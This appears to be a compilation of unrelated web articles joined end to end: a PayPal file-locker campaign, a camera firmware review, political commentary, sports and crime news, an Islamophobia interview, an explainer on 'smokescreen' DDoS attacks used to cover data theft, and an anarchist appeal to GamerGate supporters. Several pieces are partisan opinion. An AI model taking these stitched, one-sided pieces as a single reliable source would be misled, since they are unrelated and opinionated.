Paypal accounts terminated. All funds have been frozen for 180 days and in that time they cannot withdraw or transfer funds. They may no longer process any payments through Paypal,” King reported today. So how is he getting information like this? “I worked hard to develop relationships with people from all sectors of the payment processing sector. Initially I had no luck reaching anyone at PayPal who could help me, however I persevered until I was placed into contact with the right person and now have ongoing dialog with them. I have also established dialog with several other credit card companies and 3rd party payment processing services,” King explains. “Unfortunately I cannot go into how information is exchanged or shared as I do not wish to give the targets of my campaign any insight into the methods or strategies we employ to remove their payment processing ability. Suffice to say, these companies do their own independent investigations and do not solely rely on our information.” But a nagging question remains, and it’s raised time and again by King’s reports on his campaign site StopFileLockers. What real proof does he have that the files he’s finding on these file-hosting sites do indeed contain the content that their titles suggest, especially when there is reference to children and animals? The answer, it seems, is none whatsoever. Nevertheless, King insists that’s irrelevant. “Personally I don’t know whether a file entitled ’12yogirlraped.avi’ actually contains a movie of a 12-year-old girl being raped or a legal adult video being named a misleading file name. It would be stupid of anyone to download it to find out unless they were involved in law enforcement in that field. “However the mere connotation that there are files named this way is, in itself, unconscionable. Where we find a systematic pattern of what appears to be child pornography based upon file names we refer the matters where possible. We are not about to download the material ourselves to find out what the file actually contains. This is a job for policing and child protection agencies,” King notes. King’s activities are causing fury among both users and the file-hosting companies themselves but none approached by TorrentFreak would comment on the record. However, some appear to be taking their own action in response. One locker, NitroBits, has threatened to sue King. “If this is how you want to destroy our legal business you are wrong,” the company told King. “We do not allow any kind of illegal material, and if you have uploaded illegal material to NitroBits, and reported it to PayPal I will make sure I will take you to the European Supreme Court!” Others are less straightforward. King says he’s been DDoS’d and has received threats against his life, but he doesn’t appear to be taking them too seriously. With the help of a team of volunteers he says he will continue and at the moment envisages a three month campaign – which he is funding – to achieve his goals. So should other file-lockers be concerned at the prospect of having their PayPal and other payment processing facilities withdrawn too? King says he’s pushing hard for all file-hosting sites to be an unacceptable use of PayPal but currently the processor isn’t going that far, instead preferring to move on a case-by-case basis. And that case-by-case basis, once PayPal have been informed that a problem even exists, raises an interesting point. King says that PayPal are doing a “fairly good” job in their response considering the millions of accounts and transactions they have to process – after all, they can’t monitor everything that goes on via their service. So, applying the same reasoning, the vast majority of file-lockers will not have anything to do with the content being uploaded and, once they are alerted to a problem, will take action as the law requires. However, rather than being given the benefit of the doubt and the same room to move as PayPal, they’re finding their finances strangled instead. For King, it sounds like a no-brainer. Why bother with a million DMCA notices when a concerted effort can cut off a company’s ability to do business in one swoop? Filth sticks, it seems, and the adult industry has that – and determination – in spades. -With the new firmware 2.0 update, the Panasonic GH5 becomes the first 5K 10bit H.265 mirrorless camera, and you don’t even need an anamorphic lens to join the party. 5K anyone? Well, Panasonic have delivered and it is in H.265. Until now we have had cameras that do a 5K or even 6K sensor readout but never one that writes such high resolution directly to the memory card. On the Panasonic GH5 the new firmware update 2.0 gives us the use of the very efficient H.265 codec for this. They did not scrimp on the bitrate either, which is a very nice 200Mbit/s and 10bit. Open gate 4:3 aspect ratio Cropped to 16×9 The key to all this is the new anamorphic “Open Gate” mode. This uses the entire sensor with no crop. You get a 4:3 image as if shooting a still. An anamorphic lens can be used to stretch this to a cinema-friendly aspect ratio. However… The great thing about this is that you just turn on crop marks for 16:9 and use it like a normal video mode. Because the recordings are 4992 x 3744, this gives you some interesting possibilities compared to Ultra HD at 3840 x 2160… Placed on a 16:9 timeline in Adobe Premiere, I got 4992 x 2808 10bit with fine detail that had me rubbing my eyes in disbelief. The cherry on top? I could reframe the shot vertically to get rid of unwanted objects at the top or bottom of the original frame, or to improve the positioning of the camera. Here is a full 4992 x 2808 frame grab from one of my files (click for full size version) – I can do vertical pan-and-scans in post as well and re-frame to the cows come home. For the first time I have the ability to re-frame without ever dropping below 4K resolution, to cut things out of the shot that you don’t want like markers in a VFX shot or the occasional boom mic! We call this kind of recording mode “Open gate” like on the Alexa XT, because it exposes the entire surface area of the imager. That’s 18MP in total, up from 8MP in Ultra HD 4K mode, that is a very significant opening up of the sensor. It is absolutely at full throttle. Even just taken horizontally, 5K is a nice upgrade from 4K in terms of resolution and you can oversample a 4K image from the 5K files in post for the ultimate in fine detail and minimised noise grain. Horizontally you have an extra 1152 pixels to play with over Ultra HD for re-framing and cropping. Vertically you have an extra 1584, because the open gate recording uses the entire Micro Four Thirds sensor from top to bottom. To use this high resolution anamorphic 4:3 mode as a normal 16:9 video mode, simply use a normal lens, keep the anamorphic de-squeeze display off and turn on the crop marks for 16×9, as shown below… A range of frame rates are offered in this mode too… but the ones you will see in the anamorphic menu depends on the System Frequency you set the camera to. In 24hz (Cinema) mode, you get 5K at 24p. Switch to 50hz (PAL) and you get 25p. Go 60hz NTSC and you get 29.97p and 23.98p respectively. So remember to go into the System Frequency menu to get the frame rate you need. 60p and 50p are available in anamorphic mode as well, but only at the lower resolution and bit-depth (3328 x 2496 8bit). The 5K is full on 10bit! So to wrap up, the 4:3 mode can be used as a legitimate 5K 16×9 video mode with continuous recording and I didn’t experience any over heating problems on the first day of shooting with it. The H.265 codec also seems to hold up incredibly well. It’s easy to convert the files to 5K 10bit ProRes for smooth editing, by using EditReady 2 just as with the Samsung NX1 and I had no compatibility problems in post, apart from VLC Player struggling to preview the H.265 files directly from the SD card. A standard UHS-I 95MB/s SanDisk card was used without issues, as the data rate in H.265 is quite a bit more relaxed compared to 400Mbit/s ALL-I. A great feature and I am going to bring you some actual 5K footage soon, once I’ve finished on the edit! (Please note, this is still pre-release firmware and might not be 100% representative of the final image quality). -CompTIA unveiled a vendor-neutral certification, CompTIA Cybersecurity Analyst (CSA+), the first of its kind to bring behavioral analytics to the forefront of assessing cyber threats. The CompTIA CSA+ certification will offer broad-spectrum validation of knowledge and skills required to configure and use cyber-threat detection tools, perform data analysis and interpret the results to identify vulnerabilities, threats and risks to an organization. It certifies knowledge of a data-driven approach to information security. "The Internet of Things is not only bringing greatly expanded capability to homes and businesses, it's also opening up potentially billons of new points of vulnerability that need to be secured," said CompTIA President and CEO Todd Thibodeaux. "It's an economic and societal imperative to train and certify hundreds of thousands of IT professionals with the analytical skills they need to address the complexity and diversity of threats as they multiply." "By placing greater emphasis on data analytics, we get a real-time, holistic view of the behavior of the network, its users and their devices to identify potential vulnerabilities and strengthen them before an intrusion happens," explained CompTIA's Senior Director for Products Dr. James Stanger. "Armed with this information, cybersecurity professionals can more precisely identify potential risks and vulnerabilities so that resources can be allocated where they're most needed." The demand for cybersecurity analysts is strong. The Bureau of Labor Statistics project growth of 18 percent from 2014 to 2024, making it the fastest growing job roles in the U.S. workforce -- not just in technology but across all categories. "Data analytics is key," states Jim Lucari, Senior Manager of Certification at HP Enterprise. "Everybody in technology should have this CSA+. It should be mandatory if you're going to stay in IT over the coming decade." The new CSA+ certification strengthens CompTIA's portfolio of security credentials. It bridges the skills gap between CompTIA Security+ and the CompTIA Advanced Security Practitioner (CASP) exam to create a vendor-neutral cybersecurity career pathway. CompTIA Security+ is the benchmark for best practices in IT security, covering essential principles for network security and risk management. CompTIA Cybersecurity Analyst+ focuses on skills associated with the use of threat detection tools, data analysis and the interpretation of results to identify vulnerabilities, threats and risks. CompTIA Advanced Security Practitioner certifies critical thinking and judgment across a broad spectrum of security disciplines. CompTIA certifications validate proficiency in cloud computing, mobility, Linux, networking, security, storage and other mission-critical technologies. CompTIA CSA+ has received a Certificate of Accreditation from the American National Standards Institute (ANSI), signifying that it meets ISO/IEC 17024:2012 general requirements for personnel certifications. www.comptia.org -Getty Image On Tuesday, Betsy DeVos was confirmed as secretary of education after a lengthy Democratic filibuster, a 50-50 Senate vote, and Mike Pence’s historic tiebreaking vote. Senator Al Franken, who participated in the filibuster, is absolutely disgusted that only two Republicans crossed party lines to vote against DeVos after she may have plagiarized quotes for her Senate questionnaire — a process that was prompted by worries that she didn’t properly grasp the key duties of the cabinet position. DeVos’ ascension easily qualifies her as one of the most controversial additions to the Trump cabinet, and Franken is irate that his fellow Senators didn’t stand up against her lack of qualifications. He penned a fiery statement, which calls out Republicans for confirming someone who has donated vast sums to many of their campaigns. Franken really lets loose: “It’s not a job for amateurs who don’t know the first thing about education. I voted against the nomination of Betsy DeVos, a billionaire Republican donor, because she is the most incompetent cabinet-level nominee I have ever seen. Last night, I urged my Republican colleagues to oppose her nomination, because if we cannot set party loyalty aside long enough to perform the essential duty of vetting the President’s nominees, then I don’t know what we are even doing here. Betsy DeVos has demonstrated that she is fundamentally unqualified to lead the Education Department, and it’s a shame that Republicans voted to confirm one of their major donors instead of looking out for our children.” As the Washington Post points out, DeVos and other members of her family (all Amway heirs) have donated over $800,000 to current Republican senators. Over the decades, the family’s donations have totaled over $20 million, which was brought up by Bernie Sanders during DeVos’ confirmation hearing. Alas, neither that nor her strange statement about bears attacking schools was enough to keep DeVos out of Trump’s cabinet. Franken’s totally going there with accusations that these senators allowed an unqualified person to essentially purchase a cabinet spot. For reference’s sake, here’s a handy listing of what the DeVos family has donated to currently sitting senators. She literally paid everyone in the room #noDevos pic.twitter.com/mFJnOaBHue — George D. (@xdelmar59) February 7, 2017 (Via Senate.gov) -(Optional Musical Accompaniment To This Post) The remarkable story of how we have come to privatize political corruption in this country reached another milestone today as the Supreme Court, John Roberts presiding, handed down its decision in McCutcheon v. FEC, effectively demolishing the aggregate, two-year limit on contributions by individuals, and taking a big chunk out of Buckley v. Valeo, the misbegotten 1976 decision that got the ball rolling in the first place. It was a 5-4 vote, with the court split exactly as it had in the Citizens United case. In writing the opinion for the court, Roberts further emphasized the equation of money with speech, and also seemed to agree with Anthony Kennedy's famous assertion in Citizens United that the ability of megadonors to shovel gobs of money into the election process,"We now conclude that independent expenditures, including those made by corporations, do not give rise to corruption or the appearance of corruption." Roberts writes: Significant First Amendment interests are implicated here. Contributing money to a candidate is an exercise of an individual'sright to participate in the electoral process through both political ex-pression and political association. A restriction on how many candi-dates and committees an individual may support is hardly a "modestrestraint" on those rights. The Government may no more restrict how many candidates or causes a donor may support than it may tella newspaper how many candidates it may endorse. In its simplest terms, the aggregate limits prohibit an individual from fully contrib-uting to the primary and general election campaigns of ten or more candidates, even if all contributions fall within the base limits. And it is no response to say that the individual can simply contribute lessthan the base limits permit: To require one person to contribute atlower levels because he wants to support more candidates or causesis to penalize that individual for "robustly exercis[ing]" his FirstAmendment rights. (Davis v. Federal Election Comm'n, 554 U. S. 724, 739.) In assessing the First Amendment interests at stake, the proper fo-cus is on an individual's right to engage in political speech, not a col-lective conception of the public good. The whole point of the FirstAmendment is to protect individual speech that the majority might prefer to restrict, or that legislators or judges might not view as use-ful to the democratic process. The aggregate limits do not further the permissible governmental interest in preventing quid pro quo corruption or its appearance. What's good for Koch Industries is good for Sheldon Adelson, I guess. Roberts goes on. This Court has identified only one legitimate governmental interest for restricting campaign finances: preventing corruption or the appearance of corruption. See Davis, supra, at 741. Moreover, the only type of corruption that Congress may target is quid pro quo corruption. Spending large sums of money in connection with elec-tions, but not in connection with an effort to control the exercise of an officeholder's official duties, does not give rise to quid pro quo corrup-tion. Nor does the possibility that an individual who spends large sums may garner "influence over or access to" elected officials or political parties. And John Roberts apparently resides on Neptune. And, in case you didn't get the point. Finally, disclosure of contributions minimizes the potential for abuse of the campaign finance system. Disclosure requirements are in part "justified based on a governmental interest in 'provid[ing] the electorate with information' about the sources of election-related spending." Citizens United, 558 U. S., at 367 (quoting Buckley, supra, at 66).They may also "deter actual corruption and avoid theappearance of corruption by exposing large contributionsand expenditures to the light of publicity." Disclosure requirements burden speech, but, unlike the aggregate limits, they do not impose a ceiling on speech. Having earlier argued that there was a First Amendment issue to be found in the aggregate limits because they hindered an individual's right to participate in the political process -- It is here helpful to note the everlasting irony of Antonin Scalia's view of Bush v. Gore. There is no individual right to vote, but an individual's right to purchase a candidate must be untrammeled -- but here, Roberts is saying it plain. To restrict money is to restrict speech. Period. And the only real legal restraint on the wholesale subletting of American democracy is John Roberts's strange devotion to "disclosure" as some sort of shaming mechanism within the electorate. Good luck with that one. Justice Stephen Breyer takes up a lot of these points in his dissent, most notably, the majority's laughably narrow definition of what political corruption actually is -- that political corruption exists only if you buy a specific result from a specific legislator. But it hardly matters. The five-vote majority in favor of virtually unlimited corporate and individual spending in our elections is a rock solid one. Four days after almost every Republican candidate danced the hootchie-koo in Vegas to try and gain the support of a single, skeevy casino gazillionnaire, the majority tells us that there is no "appearance of corruption" in this unless somebody gets caught putting a slot machine in the Lincoln Bedroom on behalf of Sheldon Adelson. Money talks. Big money repeats itself, over and over, age after age. -Pin +1 Share 48 Shares Krauthammer called out Chuck Schumer for remarking “making America great again” requires more than a tweet from President-elect Trump. Krauthammer said, “Sore loser. The tweets are working. I mean if they weren’t, they wouldn’t be using them. As Chuck [Lane] indicated, Trump has used it on North Korea, he’s used it on Ford, on General Motors, on this issue, which he won within hours. It works. It has a lot of effect. And he’s not even in office…” He continued, “What Trump is doing is wielding a two-by-four. And he certainly had to do it in the case of the House because these guys are mules. That was about the dumbest first step you could ever make. Particularly because as we just heard this is an issue on which Democrats agree there are real problems with this office they wanted to abolish.” Comments -By TMZ Sports Multiple sources tell TMZ Sports ... Nike is preparing to cut ties with boxing superstar Manny Pacquiao after his latest round of anti-gay comments. The two sides have had a relationship since at least 2006 -- but we're told Nike is particularly disturbed after Pacquiao said gay people are "worse than animals" ... and intend to drop the boxer for good. We're told the move is not official yet -- but there have been multiple discussions and we're told it appears to be heading that direction. We reached out to Manny's rep -- so far, no comment. Pacquiao, an evangelical Protestant, also apologized via social media on Tuesday for those statements while discussing his position on gay marriage. "It's common sense. Do you see animals mating with the same sex? Animals are better because they can distinguish male from female," Pacquiao told television station TV5. After a barrage of criticism, Pacquiao asked for forgiveness. "I'm sorry for comparing homosexuals to animals. Please forgive me for those I've hurt," he said in a video post on Instagram. Pacquiao returns to the ring for what he says is the final time on April 9th, in a trilogy bout with Timothy Bradley at the MGM Grand in Las Vegas. -PEMBERTON, B.C. — Three people are dead after a man, who police believe was impaired, drove into a group of cyclists out for a weekend ride on the Sea-to-Sky Highway about 60 kilometres northeast of Whistler. Pemberton RCMP said they received a call from a witness about a driver crashing into three people cycling along Highway 99 around noon on Sunday, killing two members of the Whistler Cycling Club, along with the vehicle’s sole passenger. The condition of the third cyclist was unknown, said RCMP Staff Sgt. Steve LeClair. The president of a Whistler, B.C., cycling club says two of three people killed in a weekend crash were active members of his group with a lot of experience on the road. Frank Savage of the Whistler Cycling Club says the group was apparently wheeling down a steep and challenging area when the accident happened. Savage says the two dead cyclists were prominent riders in the resort municipality and his group is devastated, however both he and police are withholding their identities. One officer accompanied the driver as he was airlifted to a hospital in Vancouver. LeClair said reports that the driver was impaired at the time of the crash are based on observations from witnesses and police officers at the scene. “According to witnesses, (the driver) was allegedly driving impaired,” he said. The families of the two cyclists who were killed have been notified, said LeClair, but the identity of the deceased passenger has yet to be confirmed. “It’s a very serious case,” said LeClair. “It’s concerning when something like this happens and we want to work to make sure that all the evidence is collected and processed properly. Highway 99 was closed while police investigated. DriveBC estimated it would reopen by 11:30 p.m. In the meantime, DriveBC has been directing motorists to take an alternative route of Highway 12. However, some have been making other plans to stay overnight in the area while waiting for the road to clear, said Janice Lee at the front desk of Pemberton Valley Lodge, which is about a half hour away from the site of the accident. Around 4 p.m., Lee said she started seeing the first of stranded travellers stream in to check in for the night at the small lodge, including a mother and daughter who “were three cars behind the accident. They were headed back to Kamloops, but decided to stay the night.” “I asked if they had been able to help the cyclists, but they said they were gone. They had died,” said Lee, recounting her conversation with the eyewitnesses. “They said an ambulance arrived about an hour later and they stayed for a couple of hours to help (out on scene)." She said the driver of the vehicle was described as a “middle-aged man. Whistler Pemberton RCMP are asking any witnesses to this incident to call Pemberton RCMP at (604) 894-6634. With files from Canadian Press Click here to report a typo or visit vancouversun.com/typo. Is there more to this story? We'd like to hear from you about this or any other stories you think we should know about. CLICK HERE or go to vancouversun.com/moretothestory -There’s no better sign that spring has sprung than the return of baseball, yet, I’m conflicted about heading out to the ballpark this season since apparently baseball is a symbol of white privilege. When asked why neither he nor any other black baseball player had pulled an anthem stunt like San Francisco 49ers Colin Kaepernick, all-star centre fielder for the Baltimore Orioles Adam Jones said: “Baseball is a white man’s sport.” ESPN columnist Howard Bryant chimed in, noting: “Baseball is a white man’s game and is so by the specific design of the people who run it.” I thought the colour barrier in baseball was broken by Jackie Robinson in 1947 but Bryant implies Major League Baseball, which is 30% Latino and openly welcomes players of all colours from the world over, is somehow racist toward black Americans. While it’s factually true that the number of blacks in baseball has declined over the years, I don’t believe it’s anti-black racism that’s driving the downward spiral. Watch as I offer a more likely explanation for the decline and apply Adam Jones’ logic to the NBA where the numbers would indicate the NBA is being racist toward Caucasians. Speaking of Mr. Jones, in 2012, he signed a six-year contract extension with the Orioles for $85.5M. Boy, old whitey sure screwed him over, didn’t he now? -Islamophobia is a real problem that needs to be considered in the same light as racism, homophobia and anti-Semitism, says Nathan Lean, the author of ‘The Islamophobia Industry: How the Right Manufactures Fear of Muslims’ What is Islamophobia? Who is promoting it? And, how is it a poisonous force in the world today? Nathan Lean answers these questions in his excellent new book, The Islamophobia Industry: How the Right Manufactures Fear of Muslims (Pluto Books/Macmillan, 2012). Nathan Lean is Editor-in-Chief of Aslan Media, one of the best American sources for news, commentary, and analysis of issues in the Middle East. He is the co-author of Iran, Israel, and the United States: Regime Security vs Political Legitimacy (Praeger, 2011). Lean earned his Master’s degree in International Studies at East Carolina University in Greenville, in the US state of North Carolina. He is currently in graduate school at Georgetown University’s Center for Arab American Studies in the Edmund A. Walsh School of Foreign Service in Washington DC. In The Islamophobia Industry, Lean illuminates the shadowy underworld inhabited by bigots united against Muslims and Islam. It is a meticulous investigation of the disturbing global phenomenon of ‘Islamophobia’. His book will shape our understanding of this subject for a long time to come. Lean discusses his new book in this exclusive interview. What was the inspiration for your new book? I was interested in the way in which the controversy over the Park51 Islamic Community Center, dubbed by ‘Islamophobes’ as the ‘Ground Zero Mosque’, mushroomed into a national hysteria almost overnight. It occurred to me that the people heralding the opposition to Park51 were the same people behind the push for anti-sharia laws, the scare over the Muslim Brotherhood, and the virulent and nasty protests over the construction of mosques from California to Tennessee. I saw that there were dots that needed to be connected, and that this tight-knit, well-funded network needed to be exposed. Who are the captains of the Islamophobia industry? There are several. But two in particular have had more influence than other, at least as of late: Pamela Geller and Robert Spencer. These are two American bloggers who prey on Muslims and who use the power of the Internet to drum up hate. Spencer and Geller were not only the leaders of the Park51 protest, but their lawyer authored the blueprint legislation for the anti-Sharia bills circulated throughout American legislatures. Recently, their metro ads in New York and California were met with backlash, and now we know that they are both connected to the filmmaker and producer of the anti-Muslim flick Innocence of Muslims that set off protests in the Middle East. Both Spencer and Geller were listed as inspirations by Anders Breivik, the Norway killer who, in July of 2010, murdered 77 youth that he blamed for the ‘Islamisation’ of Europe. How profitable is their industry? The Islamophobia industry is very profitable. We know, thanks to the Center for American Progress, that over the past decade, seven different organisations have funnelled US$42mn to groups that support the work of these Islamophobes. But that’s not all. Millions of dollars have also come from other sources, individuals who donate substantially to these projects, wealthy Israelis connected to or living in the Occupied Territories, and sadly, much money has come via political donations that are made to candidates who take up a particular anti-Muslim platform. Beyond just donations, though, the key players in this industry have created careers peddling this type of hate - careers that bring in hundreds of thousands of dollars in salaries each year. They sell books, have provided training for law enforcement officials, and charge astronomical fees for speaking engagements. How deep is Islamophobia in America? Islamophobia in America is a real problem. Polls show that today, nearly half of all Americans report that Muslims make them feel ‘uncomfortable’. Mosque burnings, assaults, Congressional witch-hunts and hearings, racial and ethnic profiling, illegal surveillance programmes - all of these things are evidence of a social cancer that is festering within our society. Violence carried out by Muslims inside the US is at extremely low levels. Between 2001 and 2010, 33 terrorist attacks were successfully carried out. Certainly that’s 33 too many, but compare that to the 150,000 murders that took place in the same period of time and a clearer picture emerges about where - and who - the real threat is. How has Islamophobia infected Europe? Islamophobia has affected Europe so greatly because it has been institutionalised. In essence, what you have is a cadre of state governments that officially adopt policies discriminatory to Muslims. In Belgium, citizens were paid money to go around town and capture women wearing burqas - which were banned - and report them to the police. It sounds too absurd to be true. There is also a growing and dangerous right-wing nationalism in Europe that, in addition to being neo-Nazis and supporting only the advancement of the white race, have zeroed in on Muslims. The English Defence League (EDL) is a classic example of one such football hooligan group. They storm the streets of various cities, beat up Muslims, break into restaurants and, with their fists pumped and their jugular veins popping from their necks, proclaim that Europe won’t tolerate the infiltration of ‘outsiders’. That is what’s happening in Europe. What is the antidote to Islamophobia? First, relationships. Then, more speech. Getting to know Muslims - neighbours, co-workers, etc - and developing friendships with them is a positive step in this direction. That doesn’t mean that we work to change their ideas, nor does it mean that they change ours. We have to move the Overton window to a place that excludes the rhetoric of the Islamophobes in our society and emphasises our common humanity. What that means is agreeing, as a society, that Islamophobia is first a real problem that needs to be considered in the same light as racism, homophobia, anti-Semitism, etc. We can accomplish that by constantly dragging the people who spout anti-Muslim sentiment out into the light and exposing their hate. We must also reject that hate, not just in private but vocally – in op-eds, in articles, in the media, in church pulpits, in schools and universities, in workplaces. It’s not an easy task. But I am certain that one day, the Islamophobes will be swept under the rug of history along with the other racists in our society whose rhetoric was at one time acceptable, but now is considered disgusting and taboo. How can all of us challenge Islamophobia in our own communities? By not being afraid to speak out every time we witness an injustice. By getting involved in interfaith groups. By learning about Islam and getting to know our Muslim neighbours. An important part of this is using the word ‘Islamophobia’. If it doesn’t have a name, it doesn’t exist. And when we reach a point in our society where we begin to describe this illness with consistent terminology, we will reach a real tipping point. Think about it - we have ‘anti-Semites’ and ‘racists’ and no one wants to be labelled as one of those. Everyone knows that these are bad things. The same must be true about Islamophobia and the Islamophobes that seek to fracture our society. [Joseph Richard Preville is an Assistant Professor of English at the University of Tabuk, Saudi Arabia] -Today’s distributed denial of service attacks are different than the kinds that we saw at the dawn of the millennium when the threat emerged. They’re becoming more nuanced, and subtle – and they could result in a lot more than a downed web server. In the early days of DDoS, volumetric attacks were all the rage. Politically or financially motivated attackers would launch thousands of clients against a particular target, overwhelming their servers. Such attacks are still common, but increasingly they’re giving way to another kind of more sophisticated DDoS attack: "dark" DDoS, or as Andy Shoemaker likes to call them, smokescreen attacks. “This is where the attacker is using the denial of service as a way to distract the IT administrators from the real attack, which is really trying to steal data,” said Shoemaker, who runs Nimbus DDoS, a consulting firm that researches and simulates DDoS attacks for clients. In this model, attackers don’t use the denial of service traffic to extort or to take revenge on their targets. Instead, it is simply a means to an end. The attacker launches the attack for two reasons. Firstly, they can misdirect the target’s administrative staff, taking up valuable time and resources and blinding them to other events occurring inside their network. “It’s an attack on people rather than infrastructure,” said Nathan Dornbrook, the chief technology officer at ECS, an IT and security consulting firm in the UK, who cut his teeth experimenting with DDoS mitigation techniques. The point is to tie up the target’s people for as long as possible, which is a great way of neutralising competent staff in a security operations centre, he said. Dark DDoS attacks will often be just severe enough to knock out a target’s network visibility, Shoemaker explained. “A lot of times, the overwhelming traffic on the network equipment will make it so that of the tools that detect the other bad behaviour might not work as effectively, or at all,” he said. “Sometimes those devices have thresholds where if there’s too much traffic they can’t handle it, so their default behaviour is to pass traffic through unfiltered.” Dark skills Ian Trump, security Lead at global cloud-based IT service management firm LOGICNow, said that a dark DDoS attack is often the hallmark of a more sophisticated criminal. It takes some knowledge to engineer one attack while misdirecting the target with another. If performed well, it can yield impressive results by forcing administrators at the target company to alter their infrastructure as they struggle to address the traffic problem. “In some cases network operations personnel or security personnel will actually degrade their security in the process,” he said. Unlike traditional attacks, the dark DDoS attacker is unlikely to try and bring the target down altogether in a catastrophic flood of traffic. Taking it offline would work against the attack. Instead, the characteristics of dark DDoS attacks often differ from the big-splash volumetric attacks that we sometimes see hitting companies, warned Bogdan Botezatu, senior e-threat analyst at Bitdefender. They are often sub-1Gbit/sec attacks, he said, designed to generate a large number of events and effectively masking a breach. This is leading to a gradual change in the way that DDoS attacks operate. We still see attacks in the hundreds of Gbits/sec, but increasingly they’re far smaller, more targeted, and last for shorter periods. DDoS mitigation firm Corero Network Security said that the vast majority of DDoS attacks it saw on its customers last year were under 1 Gbit/sec. More than 95% of the attacks lasted for 30 minutes or less, it said. "The danger in partial link saturation attacks is not the ‘denial of service’ as the acronym describes, but the attack itself," according Dave Larson, COO Corero Network Security. “The attack is designed to leave just enough bandwidth available for other sophisticated multi-vector attacks with data exfiltration as the main objective, to fly in under the radar, while the distracting DDoS attack consumes resources." “Considering that this technique dodges common DDoS mitigation techniques that are designed to deal with volumetric traffic, it’s safe to assume that Dark DDoS should be considered a serious threat,” Botezatu said. Inside a dark DDoS attack What do these attacks look like in practice? Most attempts to compromise a system start with scanning of the entire network to find potential ingress points. That scanning behaviour is pretty obvious, so the smokescreen attack can be used to obscure it, said Shoemaker. The attacker will also use the smokescreen to obscure their activities once inside the network, he explained. “The attacker doesn’t truly know what the exact imprint on the target environment is. They’re making a guess.” A criminal can make themselves conspicuous if they try to extract customer databases and other large pieces of intellectual property from a target’s network. A blanket of obfuscating traffic can help. Even then, you’ll find that attackers will switch techniques while inside a target’s network, he warned. “They’re trying to find out what’s most effective in an environment, but also keep shifting the behaviour so that it’s harder for the people protecting the system to mitigate against it.” The Reg explored a dark DDoS attack a couple of years ago, in which attackers launched a DDoS attack on a bank to distract admins as they pilfered money from compromised accounts using fraudulent ACH transfers. Keeping a watchful eye Dark DDoS attacks are detectable if you know what to look for, explained Dornbrook. “The truth is that if you understand your network service, you’ll understand what normal traffic looks like,” he said, adding that IT staff can be trained to spot a low-bandwidth DDoS attack, and use it as a flag to check for suspicious activity. Financial institutions are taking the brunt of these dark DDoS attacks, Shoemaker warned. They’re typically the most capable customers, having sunk significant resources into protecting lots of personal information. However, this isn’t the only industry to reportedly suffer significantly at the hands of shadowy DDoS attackers. One of the most public examples of a dark DDoS attack was the October 2015 TalkTalk breach, in which the telecommunications company, in a confusing series of statements, claimed that attackers flooded the company’s website with traffic to render it unusable. This then made it more vulnerable to an attack that enabled criminals to steal customer data. A few months earlier in August, Carphone Warehouse lost the personal details of 2.4 million customers after attackers inundated it with traffic. DDoS attacks are growing up, and whereas before they were an end in themselves, now they’re merely one step toward a bigger goal. Companies must prepare themselves to be extra watchful when they see DDoS activity. Simply kyboshing the corporate network may not be the attacker’s only goal: it may simply be the sign of something far nastier and more damaging lurking underneath. -Dear #GamerGate supporter, this is not a post primarily about #GamerGate, but is tangentially related to it. To be completely up-front about this, My ‘end game’ is that I’d like you to become radicalized. What I mean by that should become clear over the course of this post. For now, all I want is to present you with one claim, with a bit of preamble. It’s a claim that I believe cannot honestly be denied. One that was very important to me in forming my current socio-political beliefs. But first I’m going to flatter you. Your support of #GamerGate tells me that you have the presence of mind not to be cowed into submission by social pressure, slander, and name-calling. You are immune to that kind of bullying. The truth is important to you. You have demonstrated a capacity and willingness to use critical thought even when it leads to taking a position that a large group of people honestly, and mistakenly, believe is synonymous with woman-hating. If you’re like most of the #GamerGate people I’ve read, you also manage to resist the temptation to demonize everyone who disagrees with you, despite some extremely vitriolic rhetoric from people on the other side. You also know first-hand that widespread stigmatization of a label is not an adequate reason to dismiss the arguments forwarded by those who identify with it out of hand. Taken all together I believe these things mean you’re more willing than 'the person on the street’ to reevaluate your pre-existing beliefs. That’s why I’m addressing this post to you. I’ve seen #GamerGate people reliably condemn all threats of violence, no matter who their target. I’d like to see a broadening of the context to which this noble impulse is applied. I’ll be happy if all you do is read the claim I’m about to make and think about it for a few days, even if you ultimately decide that it has no merit. Here it comes. The continued existence of the state (or government) depends on this entity maintaining credible threats of violence against peaceful people. That might sound surprising or even outrageous. You might feel a pang reading it and a desire to respond at once with a dismissal or rebuttal. If so please hold that thought. I made an animation called You Can Always Leave. I hope it adequately answers the replies I hear most often to this claim. Perhaps the animation already addresses what you have in mind. I’m embedding it in a player further down this page. Before you watch the video, if you decide to, notice that on its own, acceptance of the claim I made above does not establish that these threats are illegitimate (though I believe they are). Nor does it rule out the possibility that the state is a 'necessary evil’ (though I believe it is unnecessary). Here’s the animation. It’s just over eleven minutes long, but if I’ve done my job well you might end up accepting the claim long before it’s ended. Please carry this idea in the back of your head for a couple of days. If you find that you want to look into it some more, there’s a rich tradition of thought that’s well represented online that I hope you take a look at. Here’s one YouTube playlist compiled by user PeaceRequiresAnarchy that does a great job of hitting the most important ideas. And if you’d like to read a fantastic book about this stuff then I strongly recommend The Problem of Political Authority by Micheal Huemer. It’s the best summary and distillation of market anarchism I’ve seen, and a much more accessible read than the formal-sounding title might suggest. Whether or not any of this ends up making a difference to your view of the world, thanks for reading. My gratitude for the important work you’re doing with #GamerGate. -If the Chicago Bulls allow their season to end 11 days from now, they’ll only have themselves to blame. They've completed the "contenders" portion of their schedule and all that remains is the "Waiting on Secaucus" segment, as every team left is lottery bound, throwing out and trying out different lineups for the rest of the season to give young players time to play and explore—similar to when the Bulls trotted out every available player for a stretch and looked like a mess a couple weeks back. All the Bulls have to do is take care of business, but if they conducted their business the right way for most parts of the season, they wouldn’t be in this spot, scratching and clawing with a handful of games left. A scary proposition indeed: 28 quarters to relevance and a new life or 28 quarters to another offseason where leadership and competence and direction is questioned. Not many pictured this after Taj Gibson was traded at the deadline and certainly when Dwyane Wade’s elbow went "pop-pop" a few games back, the playoffs seemed like a Vegas mirage. But through the ineptitude of the East and a couple unexpected wins, the Bulls are in the driver's seat. Jimmy Butler's play has risen from "Huh?" to "Wow!" and with it, expectations have to be raised. They don't want to say it aloud, because acknowledgement means there will have to be some serious accountability on the back end if they come up short, but they know what's in front of them. "We're not looking at it that way, we're taking it day by day," Bulls coach Fred Hoiberg said. "We have a great challenge in front of us. This was an emotional game." Such an emotional game that Hoiberg couldn't remember if the Bulls were traveling to New Orleans or Sacramento for a game on Sunday, having to be corrected by the all-knowing media members—as all have one thing in common: Not having a single clue where things are going from here as the Bulls try to clinch a playoff berth following a one-year sabbatical. Six games remaining, with five of them against the four worst teams in a bad Eastern Conference and another against a New Orleans Pelicans team that hasn't yet figured out how 